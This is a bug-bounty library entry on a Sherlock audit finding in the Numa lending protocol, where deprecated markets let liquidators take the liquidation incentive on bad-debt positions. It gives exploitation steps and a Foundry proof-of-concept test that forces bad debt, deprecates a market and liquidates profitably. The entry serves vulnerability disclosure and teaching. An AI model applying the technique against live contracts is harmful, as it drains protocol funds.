# Deprecated markets allow profitable exploitation of bad debt liquidations

In deprecated Numa markets, bad-debt positions can be liquidated via the regular shortfall path, letting liquidators collect the liquidation incentive and profit while worsening protocol health.

- Payout: Audit contest
- Severity: medium
- Program: Numa Audit
- Found by: t0x1c
- Disclosed: 2024-12-04
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2024-12-numa-audit-judging/issues/67
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-12-numa-audit%3AM-5
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:medium tech:evm tech:solidity technique:chained technique:source-review vuln:accounting-error vuln:business-logic vuln:liquidation

**Target:** NumaComptroller / NumaVault lending liquidation functions
**Root cause:** Deprecation checks (collateralFactor=0, borrow paused, reserveFactor=100%) are only enforced in liquidateBorrowAllowed, not in the bad-debt path; regular liquidateNumaBorrower/liquidateLstBorrower still apply the liquidationIncentive multiplier to bad-debt positions.
**Steps:**
1. Set up a borrower with NUMA collateral and an rEth borrow; raise sellFee to 0.5 ether so getAccountLiquidityIsolate reports badDebt > 0.
2. Deprecate cReth: `_setCollateralFactor(cReth,0)`, `_setBorrowPaused(cReth,true)`, `cReth._setReserveFactor(1e18)`.
3. As liquidator, call `vault.liquidateLstBorrower(userA, repay, false, false)` with `repay = borrowBalance/2` (smaller repay avoids LIQUIDATE_SEIZE_TOO_MUCH).
4. Observe liquidator NUMA profit (~78656 ether) despite position being bad debt.
**How found:** Code reading: noticed deprecation guard only in liquidateBorrowAllowed and that liquidateBadDebtAllowed is only reached via the bad-debt path; hypothesized regular liquidation still works on deprecated markets and confirmed with a Foundry PoC.
**Exploitation:** Liquidator repays only half the borrow balance through the regular shortfall liquidation path, which applies the liquidationIncentive multiplier to seized collateral, yielding a profit on a position that should have gone through the incentive-free bad-debt path.
**Insight:** When a protocol has two liquidation paths (incentivized vs bad-debt), check whether deprecation/pause guards are enforced on both entry points — a guard in one allowed-check does not cover the other path.

## Proof of concept (copied exactly from the original report)

**Foundry test liquidating bad debt via deprecated market**

```
function test_deprecatedMarketLiquidation() public {
        uint funds = 100 ether;
        uint borrowAmount = 80 ether; 

        deal({token: address(rEth), to: userA, give: funds * 2});
        
        // First approve and enter the NUMA market
        vm.startPrank(userA);
        address[] memory t = new address[](1);
        t[0] = address(cNuma);
        comptroller.enterMarkets(t);

        // Buy some NUMA
        rEth.approve(address(vault), funds);
        uint numas = vault.buy(funds, 0, userA);

        // Deposit enough NUMA as collateral
        uint cNumaBefore = cNuma.balanceOf(userA);
        numa.approve(address(cNuma), numas);
        cNuma.mint(numas);
        uint cNumas = cNuma.balanceOf(userA) - cNumaBefore;
        emit log_named_decimal_uint("Numas deposited =", numas, 18);
        emit log_named_decimal_uint("cNumas minted   =", cNumas, 18);

        // Borrow rEth
        uint balanceBefore = rEth.balanceOf(userA);
        cReth.borrow(borrowAmount);

        // Get current borrow balance 
        uint borrowBalance = cReth.borrowBalanceCurrent(userA);

        emit log_named_decimal_uint("borrowBalance befor =", borrowBalance, 18); 
        vm.stopPrank();

        vm.startPrank(deployer);
        // make the borrow a bad-debt
        vaultManager.setSellFee(0.5 ether); // 50%
        (, , , uint badDebt) = comptroller.getAccountLiquidityIsolate(userA, cNuma, cReth);
        assertGt(badDebt, 0, "no bad-debt");
        emit log_named_decimal_uint("badDebt   =", badDebt, 18); 

        // deprecate the market
        assertFalse(comptroller.isDeprecated(cReth));
        comptroller._setCollateralFactor(cReth, 0);
        comptroller._setBorrowPaused(cReth, true);
        cReth._setReserveFactor(1e18);
        assertTrue(comptroller.isDeprecated(cReth));
        console2.log("market successfully deprecated");
        vm.stopPrank();

        // liquidate via "shortfall" route instead of "badDebt" route
        vm.startPrank(userB); // liquidator
        uint repay = borrowBalance / 2;
        deal({token: address(rEth), to: userB, give: repay});
        rEth.approve(address(vault), repay);
        vault.liquidateLstBorrower(userA, repay, false, false); // @audit-info : smaller `repay` avoids `LIQUIDATE_SEIZE_TOO_MUCH` by ensuring `seizeTokens < cTokenCollateral`
        console2.log("liquidated successfully");
    }
```

